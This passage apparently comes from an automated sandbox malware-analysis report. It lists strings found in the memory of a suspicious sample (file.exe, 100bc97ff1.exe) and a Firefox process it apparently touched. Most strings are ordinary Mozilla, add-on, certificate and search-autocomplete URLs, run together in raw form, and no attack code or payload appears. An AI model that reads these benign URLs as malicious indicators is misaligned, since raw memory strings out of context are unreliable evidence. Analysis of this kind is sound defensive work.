Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR5c141970-5076-0af4-152f-efb3642a7b14
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSizemedia.videocontrols.picture-in-picture.video-toggle
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3EnabledATI/AMD
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3GreaseEnabled84ab1546-f779-42cb-8692-4426d38a06ec
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/insecureFallbackAMD
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/javascriptValidator
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGatehttp://mozilla.org/#/properties/merinoProvidershttp://
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mediaExceptionsStrategy
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURLhttp://mozilla.org/#/properties/isBestMatchExperime
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensionshttp://mozilla.org/#/properties/aboutWelcomeBehavio
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictorhttp://mozilla.org/#/properties/preconnect
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictorhttp://mozilla.org/#/properties/preconnect0f7b2114-9
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsAlternativeEnable
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsDaysCutOff
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesAlternativeEnable
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHalfLifeDays
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHighWeight
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesLowWeight
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesMediumWeight
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesNumSampledVisits
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCaphttp://mozilla.org/#/properties/quickSugg
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationhttp://mozilla.org/#/properties/localizations
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabledhttps://services.addons.mozilla.org/api/v
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabledhttp://mozilla.org/#/pr
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabledhttp://mozilla.org/#/properties/quick
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataTypehttp://mozilla.org/#/properties/qu
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenariohttp://mozilla.org/#/properties/merinoClientVari
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMapresource://gre/modules/PrivateBrowsingUtils.sys.
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialogSome
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabledbrowser.safebrowsing.features.trackingAn
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/richSuggestionsFeatureGate
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/serpEventTelemetryEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResultshttp://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAll
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAllparent-store-update:csv-import-release-rolloutae36a32e-
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypointresource://activity-stream/lib/ASRouterTarg
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGatehttp://mozilla.org/#/properties/originsAlt
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/startDate
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targeting
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled851c8fcb-5763-bf89-813d-0f98cdd6f8c1
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsGreaseProb6a3c05bb-f971-d3d4-2a02-184e6970ba87
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/trendingEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/trendingMaxResultsNoSearchMode
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/trendingRequireSearchMode
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/useNewWizard
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/useNewWizardformautofill
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCaphttp://mozilla.org/#/properties/quick
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthresource://normandy/lib/PreferenceRollou
Source: firefox.exe, 00000024.00000002.2971880123.000001DF22259000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2938549798.000001DF1F1C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2421808761.000001DF1F093000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2913081779.000001DF1BB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2964896342.000001DF2107E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2864945025.000001DF1AB65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2935278544.000001DF1ED03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2938549798.000001DF1F1CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2929954883.000001DF1E7D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 00000024.00000002.2544675991.0000015073B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/sP
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateBITS_ACTIVE_NO_PROGRESS_TIMEOUT_SECSchrome://branding/locale/b
Source: firefox.exe, 00000024.00000002.2911908216.000001DF1B024000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2935722606.000001DF1EEA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2911908216.000001DF1B0A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2964896342.000001DF2107E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2494215088.000001DF20967000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2910571192.000001DF1AFE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000024.00000002.2964896342.000001DF2107E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2494215088.000001DF20967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulCan
Source: firefox.exe, 00000024.00000002.2964896342.000001DF2107E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulc
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/AppMenuNotificat
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000024.00000003.2405355809.000001DF1EB40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2405966297.000001DF1EB7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1315402793.0000000005769000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257274069.0000000005747000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2257442357.0000000005744000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2403239780.0000000005C08000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2402973895.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2956116951.000001DF20690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000024.00000002.2967410154.000001DF21553000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/Webchannel
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com_fetchPaged/fetchNextPage/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2913857704.000001DF1BC43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2926560740.000001DF1C8F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2796802534.000001DF1A7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/enhancer-for-youtube/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/facebook-container/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/reddit-enhancement-suite/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/to-google-translate/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2953297308.000001DF20284000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/wikipedia-context-menu-search/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4040738/cookie_autodelete-3.8.2.xpi
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4128570/languagetool-7.1.13.xpi
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4129240/privacy_badger17-2023.6.23.xpi
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4134489/enhancer_for_youtube-2.0.119.1.xpi
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/downloads/file/4141092/facebook_container-2.3.11.xpi
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/user-media/addon_icons/506/506646-64.png?modified=mcrushed
